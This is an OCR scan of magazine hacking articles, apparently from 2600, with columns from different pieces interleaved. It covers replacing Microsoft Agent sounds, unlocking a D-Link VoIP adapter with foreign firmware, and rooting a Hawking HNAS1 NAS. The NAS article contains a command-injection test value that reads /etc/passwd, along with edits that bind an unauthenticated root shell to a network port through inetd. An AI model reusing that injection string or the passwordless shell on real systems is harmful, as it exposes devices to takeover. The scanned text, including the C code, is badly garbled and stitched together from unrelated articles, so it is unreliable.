I did some resea rch . Appa rently, Microsoft's 
got some legalese stating that you're not aLLowed 
to reverse engineer an "acs" (Agent Character . . .  
something?) file. So I didn't. Instead, I accepted 
the challenge and resorted to plain old deduction. 

First, I wanted to find out if the data was com
pressed; compressed data can be a bitch to extract 
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without looking at the binary. There are a lot of 
ways to do this, but the only way I could think of 
doing it - without actually looking at the code, of 
course - was to try to compress the file myself. The 
reasoning is that a compressed file won't com
press much more than it already has . If there's a 
significant compression ratio, say more than 10 
percent of its body mass, the file has at least some 
uncompressed structure. 

C: \ Wi ndows\srchasst\chars \ rover.acs went 
from 1,819KB to 1,449KB using bzip2 compression 
- with a significant compression factor, I could tell 
that while some of the contents were compressed 
(one would assume images in gif, bmp/rle, or jpeg 
format. as well as ADPCM, wmv or MP' audio), the 
file itself was not. 

Next, I reasoned thusly: When these little 
avatars first started appearing (read: Clippy), Mi
crosoft still had a lot of stock in the WAVE format, 
and in its parent, the RIFF container. It stands to 
reason that Microsoft, as is Microsoft's wont, wilL 
keep the format unchanged in the interests of 
backward compatibility. 

Thus, if I want to find the locations of the au
dio in an Agent, the method most Likely to yieLd 
fruit wouLd be to split the file up by RIFF signa
tures. To do this without looking at the code is 
easy: I wrote a small cli C program that would seek 
until its first RIFF, then output all data to a file, 
changing the filename whenever another RIFF sig 
is found. I didn't personally have to Look at the bi
nary at aLl. 

Once extracted, the audio, being wave fiLes, 
was theoretically clean. I could, therefore, theo
retically look at them. Theoretically is right; I did
n't know if there was any chaff data in between or 
after the last file. Chaff data is "dirty" and must 
not be touched. My savior? sndrec32.exe. 

I reasoned Like this: sndrec32.exe uses the 
Windows API to handLe sound files. As such, it 
shouLd be incapable of carrying any extraneous 
data - i .e. ,  this chaff I'm on about - past the 
length of the wave file. So the quick and dirty way 
to get clean wouLd be to open each of the ten files 

Greetings from the CentraL Office. And weL
come to The Telecom Informer! In this new coLumn 
I'll be your guide through the exciting, dynamic, 
and rapidLy evoLving worLd of telecommunications .  

Wait a minute! Exciting? Dynamic? Rapidly 
evolving? These are, you might think, descriptions 
that are much more applicabLe to the Internet, 

that my C program output, and press "ctrl+s", sav
ing scrubbed-up copies of each. 

Now I had ten wave files of "clean" data (it 
turned out that before I onLy had nine; the Last 
file had some additional data tagging along at the 
end). They were in various subformats (4-bit AD
PCM, 8-bit PCM, 16-bit PCM), which led me to be
lieve I could repLace them with any valid wave file 
of the same size. 

I then hand-generated ten fart noises of vary
ing pitch and length at 8kHz, 8bit mono PCM, 
matching each of the ten usuaL sounds in exact 
size. I then modified my C program to instead in
sert the files, in order, starting from each RIFF 
signature. 

I was worried at this point that there might be 
a checksum somewhere in the fiLe. I'd have no way 
of getting around that without "Looking" at the bi
nary. ( Having your program actually process each 
and every byte does count. Skimming over each 
does not.) Rest assured, there was no corruption 
detection mechanism or this article would never 
have left my fingertips. 

Apparently Microsoft has no idea someone 
would want to modify one of their Agents - though 
I couldn't understand why you wouldn't. 

I repLaced the original rover.acs with my new 
modified puppy. ExpLorer needed to be killed for 
this to work, so I killed it and copied my new 
rover.acs to its originaL location in 
C:\Windows\srchasst\chars . Rover now toots like 
he's survived on nothing but Mexican food and 
Olestra potato chips. 

Meanwhile, this approach brings up a whole 
field of possibilities - maybe the images are in a 
recognizable format as well. Perhaps it's possible, 
if a LittLe crude, to modify Clippy so that one of his 
"tricks" is to get bent into a pretzel and inserted 
into a goat's anus by a burly woman. 

OK, yeah, that was excessive, even for specula
tion. 

I mean, doesn't everyone hate CLippy that 
much? 

world trade, or the Bush administration's Latest 
excuse for invading Iraq. While other areas of 
technology are definitely interesting, and wireLine 
telephony hasn't changed much in the last 15 
years, telecommunications is a fast-changing, 
growing, and evoLving industry. 

Of course, it can be a challenge these days to 
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define just what "teLecommunications" is. Things 
were so much simpLer in the days of the BeLL Sys
tem ! CertainLy, you can still make a caLL using a 
traditionaL LandLine teLephone. However, you 
couLd aLso make the same caLL using any of five dif
ferent ceLLuLar technoLogies (and that's just in 
North America), dozens of IP-based teLecommuni
cations services, nearLy a haLf-dozen sateLLite 
phone services, or any combination of the above. 

In this issue, I'LL show you how to add a second 
phone Line to your house for Less than $20 - with 
no monthLy fee! 

What happens when you give a Swedish mas
sage to an AT&T CaLLVantage adapter? FreeWorLdDi
aLup ecstasy! Confused? Read on, and I'LL expLain. 

Voice over IP (VoIP) LandLine repLacement ser
vices such as Vonage, PacketS, and AT&T CaLLVan
tage have skyrocketed in popuLarity over the past 
year. Taking a cue from the wireLess phone indus
try, providers of these services offer gateway 
adapters at very Low prices - even free (after re
bate, of course)! 

The catch,  as you might expect, is that the 
hardware you buy is "Locked. "  You can onLy use it 
with services provided by the company that soLd it 
to you, even if it is technoLogicaLLy compatibLe 
with other services. If you want to change VoIP 
service providers or even try a free one (such as 
FreeWorLdDiaLup), you have to change your hard
ware. This big hassLe is made even bigger by the 
fact that VoIP adapters are designed to sit at the 
front of your network, controLLing aLL traffic be
h ind it. This approach is taken to improve quaLity 
of service (OoS) on voice caLLs by Limiting the 
bandwidth used by other simuLtaneous Internet 
traffic. It's undoubtedLy aLso taken to ensure that 
switching providers is a major ordeal. 

VoIP Hardware 
I got interested in the D-Link DVG-1120M 

adapter, which is designed for the AT&T CaLLVan
tage service, because I'm thrifty. WeLL, that's how I 
describe myseLf anyway; most of my friends de
scribe me using Less flattering terms Like "cheap 
bastard. "  In any event. the AT&T CaLLVantage 
adapter is much Less expensive than most other 
VoIP gateways. As of this writing, you can buy a 
DVG-1120M for Less than $20 at Fry's Electronics. 
But, foLLowing the tried-and-true Gillette "give 
away the razor and make money on the bLades" 
business modeL, the AT&T CaLLVantage service sells 
for about $30 per month for unLimited usage. Of 
course, this is more expensive than competitive 
services such as Vonage or PacketS, and it's a heck 
of a Lot more than free (my preferred cost). 

My goaL, which I successfuLLy accompLished, 
was to unLock and use the adapter with the Free
WorLdDiaLup service. This is a free SIP-based VoIP 
service that aLLows not onLy free caLLing to any 
other FreeWorLdDiaLup user, but free outgoing 
caLLs to any LandLine toLL-free (freephone) number 

in the U .S .  and numerous other countries (includ
ing Germany, the U .K . ,  and the NetherLands to 
name a few). Even better, there are numerous 
LandLine gateway services that provide free, 
anonymous LandLine phone numbers for incoming 
caLLs to your FreeWorLdDiaLup Line. 

Hacking the DVG-1120M 
I quickLy encountered a seemingLy insurmount

abLe chaLLenge. ALthough the de-facto standard 
protocoL for most VoIP com munications is SIP, 
AT&T CaLLVantage uses the Less popuLar MGCP pro
tocoL. FortunateLy, after doing some further re
search ,  I Learned that the D-Link DVG-1120M has a 
twin caLLed the DVG-1120S. The hardware on both 
units is identicaL, but the firmware on the DVG-
1120S supports SIP instead of MGCP. Better yet. I 
Learned that it is possibLe to flash the DVG-1120M 
with the Swedish firmware for the DVG-1120S 
(don't worry, the menus are in EngLish), wh ich aL
Lows the use of FreeWorLdDiaLup and other SIP
based services. 

While the hack isn't compLicated, it's pretty 
Long and invoLved so I've broken it out into de
tailed steps. To convert the DVG-1120M to a DVG-
1120S and use it with FreeWorLdDiaLup, foLLow the 
procedures beLow. 

Getting Started 
1. Obtain the following prerequisites: 
• A computer running Windows 2000 or Win

dows XP equipped with an Ethernet adapter con
figured for DHCP. 

• DVG-1120S firmware version b09, boot PROM 
version sOS, and D-Link TFTP server. You can down
Load the files from www.geocities.com/sigmaz_1 
as of this writing. If they are no Longer there, 
search the Web for DVG_1120MtoSJirmware. zip. 

• AT&T CaLLVantage DVG-1120M kit. 
• A FreeWorLdDiaLup account. Sign up for free 

at http://www.freeworLddiaLup.com . 
2. Power on the DVG-1120M. 
3. Using the Ethernet cabLe that came with the 

DVG-1120M, pLug it directLy into the Ethernet port 
on your computer. 

Apply the Runtime Update 
1. Go to a com mand prompt and type the foL

Lowing com mand: ipconfig fall 
• If the IP address of your computer is in the 

192. 16S. 15 . x  subnet, your DVG-1120M is properLy 
connected. Proceed to the next step. 

• If the IP address of your computer is not in 
the 192. 16S. 15 . x  subnet, your DVG-1120M is not 
properLy connected. Verify aLL connections. This 
shouLd fix the probLem .  If the issue is stiLL not re
soLved, perform a manuaL factory reset on the 
DVG-1120M unit foLLowing the instructions in the 
D-Link documentation. 

2. Start Internet ExpLorer and go to the foLLow
ing URL: http://192. 16S. 1 5 . 1 .  

3 .  CLick Login to t h e  Web-Based Management 
ModuLe. 
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4. Click Advanced. This wiLL prompt you for a 
user name and password. 

5. Type admin in the User Name and Password 
text boxes and then click OK. 

6. Using Windows Explorer, go to the folder 
where the DlinkTftpServer.exe, 1120S_prom
code_b09.bin, and 1120S_runtime_sOB.tfp files 
are located, and then start the 
DlinkTftpServer.exe program. 

7. Note: If you are running a firewall, you may 
need to either disable it or add the Dlink
TftpServer.exe program to the Exceptions list. 

B. Switch back to the Administration web page. 
In the left hand navigation pane, click Firmware 
Update. 

9. In the TFTP Server Address text boxes, type 
the IP address of your computer (as shown in Step 
1). 

10. In the Firmware Update drop-down list, se
lect Enabled. 

11. In the File Name text box, type 1120S_run
time_sOB.tfp and then click Save. This will apply 
the runtime update. If you are impatient, you can 
view the Status display in the DlinkTftpServer.exe 
program to confirm that the upgrade is in 
progress. 

12. After the runtime update is applied, click 
Save Changes and Reboot System Now and then 
click Save. The DVG-1120M wiLL make an audible 
clicking sound and it will then reboot. 

13. Close Internet Explorer and the Dlink
TftpServer.exe program. 

Apply the Firmware Update 
1. Go to a command prompt and type the fol

lowing command: ipconfig jaLL 
• If the IP address of your computer is in the 

192.16B.0.x subnet, your DVG-1120M is properly 
connected. Proceed to the next step. 

• If the IP address of your computer is not in 
the 192.16B.0.x subnet, your DVG-1120M is not 
properly connected. Verify all connections. This 
should fix the problem. If the issue is still not re
solved, perform a manual factory reset on the 
DVG-1120M unit following the instructions in the 
D-Link documentation. 

2. Start Internet Explorer and go to the foLLow
ing URL: http://192.16B.0.l. 

3. Click Login to the Web-Based Management 
Module. This will prompt you for a user name and 
password. 

4. Type admin in the User Name and Password 
text boxes and then click OK. 

5. Using Windows Explorer, go to the folder 
where the DlinkTftpServer.exe, 1120S_prom
code_b09.bin, and 1120S_runtime_sOB.tfp files 
are located, and then start DlinkTftpServer.exe 

6. Note: If you are running a firewall, you may 
need to either disable it or add the Dlink
TftpServer.exe program to the Exceptions list. 

7. Switch back to the Administration web page. 

In the left hand navigation pane, click Firmware 
Update. 

B. In the TFTP Server Address text boxes, type 
the IP address of your computer (as shown in Step 
1). 

9. In the Firmware Update drop-down list, se
lect Enabled. 

10. In the File Name text box, type 
1120S_promcode_b09.bin and then click Save. 
This will apply the firmware update. If you are im
patient, you can view the Status display in the 
DlinkTftpServer.exe application to confirm that 
the upgrade is in progress. 

11. After the firmware update is applied, click 
Save Changes and Reboot System Now and then 
click Save. The DVG-1120S (yes, it's now a DVG-
11205) wiLL make an audible clicking sound and it 
will then reboot. 

12. Close Internet Explorer and the Dlink
TftpServer.exe program. 

Confirm Upgrade Success 
1. Go to a command prompt and type the fol

lowing command: ipconfig jaLL 
• If the IP address of your computer is in the 

192.16B.0.x subnet, your DVG-1120S is properly 
connected. Proceed to the next step. 

• If the IP address of your computer is not in 
the 192.16B.0.x sub net, your DVG-1120M is not 
properly connected. Verify all connections. This 
should fix the problem. If the issue is still not re
solved, perform a manual factory reset on the 
DVG-1120M unit foLLowing the instructions in the 
D-Link documentation. 

2. Start Internet Explorer and go to the follow
ing URL: http://192.16B.0.l. 

3. Click Login to the Web-Based Management 
Module. This will prompt you for a user name and 
password. 

4. Type admin in the User Name and Password 
text boxes, and then click OK. 

5. In the Device Information window, confirm 
that 0.00-B09 is displayed in the Boot Prom Ver
sion field and O.O-SOB is displayed in the Firmware 
Version field. If you see different values, you did 
not successfuLLy unlock your DVG-1120M. 

Factory Reset 
Now that your device is a DVG-1120S, you'll 

need to load the correct default settings. Other
wise, the old DVG-1120M default settings are 
maintained and they will cause you no end of trou
ble. 

To perform a factory reset: 
1. On the left-hand navigation bar, click Fac

tory Reset. 
2. Click the Reset to Factory Default button 

and confirm that you want to perform a factory re
set. 

Secure the DVG-1120S 
While you are not required to do so, it is a good 

idea to secure your DVG-1120S with a strong pass-
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word. After all, it will probabLy be in front of your 
entire network! To change the password, foLLow 
the procedure below: 

1. Log back on to the DVG-1120S. 
2. CLick Administration Management. 
3. In the OLd Password text box, type admin. 
4. In the New Password text box, type a strong 

password. I recommend using passwords of at 
Least ten characters in Length that are a non-obvi
ous combination of Letters, numbers, and symboLs 
(sorry, your phone number is not a strong pass
word). 

5. In the Confirm New Password text box, re
type the password you typed in the New Password 
text box. 

6. Click Save. The diaLog box will refresh but 
you wiLL not see any visibLe confirmation of the 
password change. 

7. In the Left hand navigation pane, click Save 
and Restart System. 

8. CLick the Yes radio button to save the set
tings and then click Restart. The DVG-1120S will 
restart and you wiLL hear the famiLiar audibLe click. 

TCP/IP Configuration 
The DVG-1120S is designed to connect directLy 

to your cabLe or DSL modem and act as the gate
way device for your network. It does not work cor
rectLy unLess it is assigned an Internet IP address 
so you reaLLy do need to put it directLy on the In
ternet (outside the firewaLL). You might aLso need 
to put your cabLe or DSL modem into "bridge 
mode" in order to get everything working. 

• If you have a static, BOOTP-assigned, or PP
POE-assigned IP address on the Internet, click 
Config IP in the Left hand navigation pane. You 
can then click Config WAN IP Address to update 
this information. 

• If you have a DHCP-assigned IP address on 
the Internet, do not change the defauLt settings. 
This is the defauLt. 

By defauLt, the DVG-1120S uses the 
192.168.0.x subnet for your home network. If you 
are not familiar with TCPjIP subnetting and 
RFC1918, changing this vaLue is not advised. How
ever, you can do so on the Config LAN IP Address 
menu. Don't forget to update the DHCP scope as 
weLL! You can do this on the DHCP Configuration 
menu. 

Configuring FreeWorldDialup 
Server Information 

To configure your DVG-1120S to connect to 
FreeWorLdDiaLup servers, click SIP Configuration 
on the Left hand navigation pane, and then click 
Server. 

1. From the Server FQDN drop-down List, seLect 
EnabLed. 

2. In the Domain Name text box, type fwd.pul
ver. com 

3. In the Port text box, type 5060 (this is the 

defauLt, so do not change it if aLready dispLayed). 
4. In the Service Domain text box, type 

fwd. pulver. com 
5. From the URL Format drop-down List, seLect 

SIP-URL (this is the defauLt, so do not change it if 
aLready dispLayed). 

6. From the User Parameter Phone drop-down 
List, seLect EnabLed. 

7. From the Timer T2 drop-down List, seLect 4. 
8. In the Register Expiration text box, type 

3600 (this is the defauLt, so do not change it if aL
ready dispLayed). 

9. In the Session Expires text box, type 180 
(this is the defauLt, so do not change it if aLready 
dispLayed). 

10. In the Min-SE text box, type 180 (this is 
the defauLt, so do not change it if aLready dis
pLayed). 

11. From the Session Expires Refresher drop
down List, seLect uac. 

12. Scroll to the bottom and click Save. 
13. SeLect the Continue and Restart Later radio 

button and then click Save. 
Configuring FreeWorldDialup 

User Agent Information 
To configure your DVG-1120S with your Free

WorLd DiaLup phone number, click SIP Configura
tion on the Left hand navigation pane and then 
click User Agent. 

1. From the Same Phone Number drop-down 
List, seLect EnabLed. 

2. Do not change the defauLt vaLue of 1 on the 
Index drop-down List . 

3. In the Phone Number text box, type your 
FreeWorLdDiaLup phone number (for exampLe, 
55555). 

4. In the DispLay Name text box, type the Caller 
ID name you want to be dispLayed when you caLL 
someone (for exampLe, ALmon Strowger). 

5. Do not change the defauLt vaLue of Yes on 
the CaLLer ID DeLivery drop-down List. 

6. Do not change the defauLt vaLue of DisabLed 
on the DispLay CID drop-down List. 

7. In the User Agent Port text box, type 5060 
(this is the defauLt vaLue, so do not change it if aL
ready dispLayed). 

8. In the Authentication Username text box, 
type your FreeWorLdDiaLup phone number (for ex
ampLe, 55555). 

9. In the Authentication Password and Confirm 
Password text boxes, type your FreeWorLdDiaLup 
password. 

10. ScroLL to the bottom and click Save. 
11. SeLect the Save Changes and Reboot Sys

tem Now radio button and then click Save. 
Connect DVG-1120S 

Now that your DVG-1120S is configured, con
nect it to the Internet according to the documen
tation that is included. If you did everything 
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correctly, the Status light will be solid green after 
the unit boots and you'll hear a dial tone when you 
pick up. You should be able to place and receive 
calls using FreeWorldDialup and connect to the In
ternet via the DVG-1120S. 

Tips and Tricks 
• The DVG-1120S does not support STU N. It 

must have its own externally routable Internet IP 
address. If this configuration won't work for you, 
then you should not buy the DVG-1120S. 

• You can use the DVG-1120S as a NAT router, 
although it provides only basic functionality. UPNP 
is not supported and you can only forward five 
static ports. If you use this unit as the primary 
gateway for your home network, you're probably 
not a power user. 

• For some reason, you need to dial * * *1-
800/1-888/etc. instead of * 1 -800/1-888/etc. 
when placing toll-free calls via FreeWorldDialup. 
This condition is unique to the DVG-1120S and I 
have not heard of any other SIP adapters where 
this is necessary. 

• Don't put your unit into "bridge mode."  This 
doesn't appear to do anything except lock you out 
of the configuration menus, which is a real hassle 
when you want to change something. 

• The settings documented above are not the 

by Michael Saarna 
The H NAS1 is a Network Attached Storage unit 

from Hawking Technologies. Basically it's a mini
computer with a small IDE bay set up for fileshar
ing. It runs uClinux on MIPS and has a quite nice 
web-based admin interface. 

I ordered one of these units thinking that it 
would be great to share files with family and 
friends. I figured that I'd just forward http from 
the firewall and set up a user for each of them. 
Simplicity! As an added bonus it appeared that 
nobody had hacked them yet - I filed that away 
as a back burner project. 

The unit arrived later that week and I had one 
of those "uh oh" moments. It appears that the 
H NAS1 only supports ftp and samba. What the 
hell - it has an httpd right, so why no http ac
cess? ! ?  Guess I should have read the feature list a 
bit more carefully. 

Trying it out, I found that I loved everything 
else about this unit. It took up barely any room, 
the interface was straightforward, and it barely 
drew any power. 

only ones that work correctly with FreeWorldDi
alup. However, they are the closest working set
tings to the default settings. If you're feeling 
adventurous (and more importantly, if you know 
what you're doing), you can fine tune the settings 
to better match your preferences. 
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what happens when you flash an AT&T CallVantage 
adapter with Swedish D-Link firmware, this hack 
wouldn't be possible. He figured it out; all I did 
was write an article. 

Looking Ahead 
The rapid pace of change in the telecommuni

cations industry, even over the past five years, has 
been astounding. Of course, so has the erosion in 
our civil liberties. Lately, law-breaking "law en
forcement" and so-called "intelligence" agencies 
have been heavily lobbying Congress to "update 
and modernize" wiretap laws they have chosen to 
ignore in the meantime. Inconveniences such as 
the Fourth Amendment are awfully unfashionable 
since September 11th, which, of course, "changed 
everything" according to the simplistic braying of 
mindless politicians. Including, it would seem, the 
plain language of the U .S .  Constitution - but that's 
a subject for a future column . . . .  

prove th e featu reset. 
First Hack Whack 

First some reconnaissance was in order. 
I started with a bit of googling and learned 

that the H NAS1 runs Brecis linux, a MIPS uClinux 
dist. Unlike most uClinux dists, this one has a 
working forkO system call. 

Next came the obligatory nmap portscan: 
Starting nmap 3. 93 ( http://www. insecure 

.. .orgjnmap ) at 2005-09-20 1 7: 13  EDT 
Interesting ports on I-DRIVE (192. 1 68. 1 . 1 00): 
(The 1662 ports scanned but not shown below 

are in state: closed) 
POR T 

2 1 / t cp 

2 4 / t cp 

8 0 / t cp 

STATE 

open 

open 

open 

SERVICE 

ftp 

pri v-ma i l  

h t tp 

1 3 9 /t cp open n e tb i o s - s s n  

4 4 5 /t cp open mi crosoft -ds 

1 72 0 / t cp fll t ered H . 3 2 3 /Q . 9 3 1  

MAC Addre s s :  O O:08:5 4 :D6:9 0:F8 ( Ne t ron i x )  

The Netronix ownership of the MAC address is 
interesting. It appears the H NAS1 is a rebranded 
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Netronix box. Judging by the specs at the 
Netronix website, it looks like an NH-210. 

The port 24 part caught my eye too. A quick 
telnet to port 24 later and the following banner 
printed out on my term: 
v.rww . breci s . com 
28 July 2 0 0 3 
Wel come to l i n ux 2 . 4 . 2 0 -br2 5 1  by BRECIS 
( R e l e a s e  2 . 5 . 1 )  

Breci s l i n ux incorpora t e s  ch a n ges from 

kern e l . org, a n d  u c l i n u x . org as wel l  a s  

l o ca l ly deri ved fea t ures t o  provide a 

rob u s t  en vi ronmen t for t h e  embedded BRE

CIS mips chip . Almo s t  any program t h a t  

can r u n  wi th l e s s  t h a n  6 4 k  of s t a ck 

s h o u l d  work . Mos t a l l  fea t ures of t h e  

l i n ux kern e l  a r e  pro vided 

Th e " e " run t ime l i brary ori gi n a t e d  at 

u c l ibc . or g .  On e n i c e  fea t ure i s  t h a t  t h e  

fork ( )  sys t em c a l l  works ( a l t h o u gh 

s l owly) for t h i s  MMU- l e s s  chip . 

For more i n forma t i on . . .  

It goes on for a while, but you get the idea. 
After the banner was displayed, the telnet ses
sion was terminated. 

Then I started to poke around the web admin
istration interface, trying out the standard httpd 
exploits. A directory backup attempt with the 
URL ''http://192.168.1.100/ .. ' ' resulted in just 
the index page, not a previous directory. 

Thinking that perhaps the httpd devs might 
have missed a bounds check somewhere, I at
tempted to overflow the httpd/cgi with various 
artificially long URLs, modified form submissions 
with abnormally long fields, etc., with no luck. 
Again, it always just returned the main index 
page. 

I then tried entering some shell-interruption 
into the form submissions, in hopes that some of 
the admin interface did a system call somewhere 
without sanitizing the input. So for the timezone 
interface I tried "ntpO.fau.de , /bin/cat 
/etc/passwd" and the like. The web interface re
turned to the same page with sanitized fields. 

I was actually pleased at this point. These 
were some pretty standard attacks to guard 
against, but a lot of manufacturers seem to slip 
up somewhere, as in the linksys WRT54G ping vul
nerability. The fact that the developers had 
avoided these pitfalls gave me some confidence 
in the custom software running on the H NAS1 .  

Try Try Again 
Since the front door was secure, I decided it 

was time to take a different approach. 
In my web research I had found that some 

people had problems with earlier firmwares and 
Windows XP systems. I sent the following mail to 
techsupport@hawkingtech.com: 
Hi , 

I j u s t  recen t l y  purch a s e d  your HNAS} 

product a n d  am genera l ly h appy . 

I h a ve an i s s u e  acces s i n g  i t  vi a my une 

XP sys t em ,  a n d  wa s j u s t  won deri n g  i f  

t h ere ' s  a s i t e  t h a t  I can down l oa d  up

da t e d  firmwares for i t .  I ' ve read on t h e  

In t ern e t  t h a t  other u s ers h a ve e n c o u n 

t ered probl ems wi t h  XP , a n d  yo u ' ve s e n t  

t h em upda t e d  firmware t o  fi x  t h e  i s s u e . 

OK, well I was technically having a problem 
accessing the H NAS1; l just didn't mention that it 
was a problem with http access of the shares! 

Hawking support eventually replied a couple 
of days later with an attached firmware update. 
Sweet! 

Firmware Analysis 
The firmware update file was just over three 

megs, so I assumed it was a full flash update 
rather than a selective file update. 

Firing up the hex editor revealed some inter
esting stuff. First, there was a 512 byte header. 
The initial 99 bytes consisted of ascii text, fol
lowed by zeros: 
MAGICNUM=ADx023 spFcOMn 6 l i 8SCq9kEr . PROD 

- UCT_ ID=NH2 0 0 .  

CU5 TOMER=HAWKING . VERS ION= v1 . 0 2 ( 0 6 - 0 7 -

- 2 0 0 5 )  -ext3 

The rest of the file looked fairly randomish, 
except for some interesting strings in the middle: 
vfpri n t f :  o u t  of memory . . . . . . . .  u n z ip -

- Unknown h e a der a t  a ddres s  %x, % Ox ,  

... 'l ax . •  u n z ip - Unknown compres s i on 

-method, s h o u l d  be 8 . . .  

and a bit later, surrounded by more ran
domish bytes was the text "image.bin". 

This gave me great hope that I'd find some 
compressed image data in the firmware update. 

What A Tool 
I decided in order to aid my analysis I'd write 

a tool that wrapped the Unix "file" command. For 
those of you unfamiliar with file, it takes a look 
at certain signature bytes within a file and re
ports to you what it believes the file is. 
fil e s omefil e 

somefil e :  POSIX t a r  arch i ve 

What I needed was a tool that would run the 
file command at various offsets within an image 
file and log the results. A quick bit of coding 
yielded fsearch ... 

/ / f s e a r c h . c :  r u n s  the " fi l e " command on 

I I  a l l  byte o f f s e t s  in a n  image fi l e  

II l i c e n s e : GPL . See gnu . or g  for detai l s . 

/ / requ i re s : an e x t e r n a l  " fil e "  command s , 
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I I  and a Unixalike as ( cygwin works ) 
I I  caution : f s c a n  yeilds lots of f a l s e  p o s i t ive s . 
I I  c omp i l e : cc fearch . c  -0 f s c an 
I I  u s age : f s e arch imagefile 

#inc lude < s tdio . h> 
#inc lude < s t d l i b . h> 

int main ( int argc , char * * argv ) 

F I L E  * i n ,  * out i 
int t ;  
char * b u f f e r ; 
char sys s [ 1 0 2 4 ] ;  
char resu ltsfile [ 1 0 2 4 ] , f name [ 1 0 2 4 ] ;  

int f s i z e , ws i z e ;  

i f ( argc<2 ) 
{ 

fprintf ( stderr , " % 0 mu s t  be cal led with a filename argument \ n " , argv [ 0 ]  ) ;  
exit ( 1 ) ;  

l i the n ame o f  the resu lts file 
snprint f ( resu ltsfile , 1 0 2 4 , " % s . re s u l t s . txt " , argv [ 1 ] ) ;  

I I Z ero out the resu lts file i f  it exists 
out=fopen ( re s u l t sfile , " wb " ) ; 
i f ( out==NULL ) 
{ 

fprint f ( stderr , " coudln ' t  wr ite to filesys tem\ n " ) ;  
exit ( 1 ) ;  

f c l o s e ( out ) ;  

s trcpy ( f name , argv [ l ] ) ;  

in=fopen ( f name , " rb "  ) ; 
if ( in==NULL ) 
{ 

fprint f ( stderr , " coudln ' t  read % s \ n " , fname ) ; 
exit ( l ) ;  

I l fetch the files i z e  
f s eek ( in , O , SEEK_END ) ;  
f s i z e = f t e l l ( in ) ; 
f c l o s e ( in ) ; 

b u f f er=mal loc ( f s i z e ) ; 
i f  ( bu f fer==NULL ) 

{ 
fprintf ( s tderr , " coudln ' t  a l loc ate buffer memory\ n " ) ;  
exit ( 1 ) ;  

in=fopen ( fname , " rb "  ) ; 
i f ( in==NULL ) 

{ 
fprint f ( stderr , " coudln ' t  open % s  for reading \ n " , fname ) ; 
free ( b u f f e r ) ;  
exit ( l ) ;  

i f ( fread ( bu f f er , l , f s i z e , i n ) < f s i z e ) 

{ 
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fprint f ( s tderr , " troub le reading 
- % s \ n " , fname ) ; 

free ( bu f fer ) ;  
exit ( l ) ;  

f e l o s e  ( in )  ; 
f or ( t� O ; t< f s i z e - l ; t++ ) 

{ 
out�fopen ( " filetype - gues s "  , " wb " ) ;  
i f ( out��NULL ) 

{ 
fprint f ( s tderr , " eouldn ' t  

open ' filetype-gue s s ' for wri t i n g \ n "  ) ; 
free ( bu f f e r ) ;  
exit ( l ) ;  

i f ( f s i z e - t> S l 2 ) 
ws i z e == 5 1 2 ;  

e l s e  
ws i z e == f s i z e - t ; 

fwr ite ( bu f fer+t , l , ws i z e , out ) ; 
f e l os e ( out ) ; 
sprintf ( s y s s , " eeho O x % x  - $ ( file 

�filetype-gue s s ) » % s " , t , re s u ltsfile ) ;  
sys tem ( s y s s ) ; 

free ( bu f f e r ) ;  
#ifdef W I N 3 2  

system ( " de l  filetype -gue s s  2 >NUL " ) ;  
#e l s e  

s y s tem ( " rm filetype - gue s s  
� 2 > /dev / nu l l " ) ; 
#end i f  

exit ( O ) ;  

Firmware Analysis Part II: 
The Legend of Curley's Gold 

I then ran fscan against the firmware update 
and waited a while for it to build up its log. Being 
impatient, I stopped it when it had passed the in
teresting "unzip" area. 

Bingo - at offset Ox3a28, fscan had some in
teresting information: 
Ox3 a 2 8  - fil e type - a n a lys i s : gzip com 

"pressed da t a ,  wa s " ima ge . bin " ,  from 

- Un i x ,  max compres s i on 

It turns out from  Ox3a28 to the end of the file 
is j ust one big gzip file that gets used for filesys
tem update. 

On to image.bin 
I extracted the gzip with the fo llowing com

mand: 
dd i f�Upda t e -fil e - from-hawki n g  o f�ima ge . 

�bin . gz bs�1 skip�1 4 8 8 8  

which creates image. bin .gz, which I gun
zipped with: 
gun zip ima ge . bi n . gz 

which creates the uncompressed image. bin , 
which I then loaded up into the hex editor. Im
age, bin appears to be a raw flash image, ripe for 
editing. It begins  with what I believe is a kernel 
(and possibly some other data) , fo llowed by a 
romfs filesystem at Ox18E060. 

I managed all of my initial hacks with j ust a 
hex editor, but I've sin ce extracted the romfs, 
created a replacement, and stuck it back on .  I 
leave this as an exercise to the reader. 

The Edits 
The first order of business was adding a root 

shell. Investigating the image contents revealed 
that although there was a com mented-out 
inet. conf entry for telnetd, no  such binary ex
isted. Not a problem ,  since you can always run a 
shell from inetd for a quick-and-dirty telnetd. 

There were actually three inetd.conf type 
files, inetd.conf itself, and two other prototype 
inetd.conf files that are used by the configura
tion scripts to build inetd.conf. I edited all of 
them so the line  that used to read: 
upt ime s t ream t cp nowa i t  root Ibi n /c a t  
� /proc/upt ime jete/i s s ue 
now reads: 
upt ime s t ream t cp nowa i t  root Ibi n /sh - i  

Since this line was shorter than the original, I 
changed extra characters into 'Oa' newlines, so as 
not to goo up inetd. 

After adding the rootshell to the image, I 
then changed one  of the com ments in the /etc/rc 
startup script to call my own 
/mntjsys/etc/init.sh script. /mnt is where the 
IDE  hard disk gets mounted, so this wou ld allow 
me to add additional scripts and binaries on the 
hard disk without any messy firmware updates. 

The last few lines used to read: 
/etc/rc . d/ini t . sh s t art / / " Can ' t  s t art 
- i n i t . sh ! ! "  
exi t 
# End of fil e  /e t c /rc 
I changed them to now read : 
/etc/rc . d/in i t . sh s t art / / "Can ' t  s t art 
- i n i t . sh ! !  " 
/mn t /sys /e t c /i n i t . sh &  
exi t 

Putting It Together and The Acid Test 
Putting it back together was fairly easy . . . .  

gzip - 9  ima ge . bi n  

( dd i f�Upda t e -fil e - from-hawki n g  bs�1 

� c o un t � 1 4 8 8 8 ;  c a t  ima ge . bi n . gz )  } h a cked 

� - upda t e . web 

I held my breath as I sent the update to the 
H N AS1 via the browser-based admin tool. The 
tool counted down from 150 seconds. Wou ld I 
brick my $90 investment? Wou ld the update fail 
due to some  checksum I hadn't tracked down? 

Nope! A telnet to port 24 now gave me: 
Con n e c t e d  t o  1 9 2 . 1 6 8 . 1 . 1 5 5 . 
Escape chara c t er is . A l ' .  
B u syBox v O . 6 0 . 3  ( 2 0 0 5 . 0 6 . 0 7- 0 5 : 4 9 + 0 0 0 0 )  
� B u i l t - i n  s h e l l  ( a sh ) 
En ter ' h e lp ' for a l i s t  of b u i l t - i n  
.. corrunands . 
# 

Yay, a prompt! 
I then added a test init,sh script to 

/mntjsys/etc/ that j ust contained the fo llowing: 
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Ibi n l t o u ch Imn t lsys le t clI_RAN 

A reboot Later reveaLed the creation of the 
